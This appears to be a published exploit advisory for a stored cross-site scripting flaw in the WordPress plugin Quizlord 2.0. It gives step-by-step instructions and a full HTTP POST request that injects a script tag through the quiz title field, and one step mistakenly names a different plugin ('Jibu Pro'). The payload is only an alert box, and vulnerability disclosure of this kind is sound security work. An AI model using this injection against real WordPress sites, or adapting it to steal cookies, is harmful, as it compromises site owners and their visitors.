WordPress Quizlord 2.0 Cross Site Scripting

`# Exploit Title: WordPress Plugin Quizlord 2.0 - Cross-Site Scripting  
# Date: 2018-08-29  
# Exploit Author: Renos Nikolaou  
# Software Link: https://downloads.wordpress.org/plugin/quizlord.zip  
# Version: 2.0  
# Tested on: Kali Linux  
# CVE: N/A  
# Description : Quizlord is prone to Stored Cross Site Scripting vulnerabilities   
# because it fails to properly sanitize user-supplied input.  
  
# PoC - Stored XSS - Parameter: title  
# 1) Login as a user who have access to Jibu Pro plugin.  
# 2) Quizlord --> Add a Quiz.  
# 3) At the title type: poc"><script>alert(1)</script> , then fill the remaining fields and click Save.   
# (The first pop-up will appear. Also keep note of the shortcode: [quizlord id="#"])  
# 4) Copy the Shortcode [quizlord id="#"] into any post or page and visit the it via browser.  
  
# Post Request (Step 3):  
  
POST /wordpress/wp-admin/admin.php HTTP/1.1  
Host: domain.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://domain.com/wordpress/wp-admin/admin.php?page=quizlord  
Cookie: wordpress_295cdc576d46a74a4105db5d33654g45  
Connection: close  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 188  
  
action=ql_insert&title=poc"><script>alert(1)</script>&description=&time=0&numbtype=numerical&numbmark=&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save  
  
`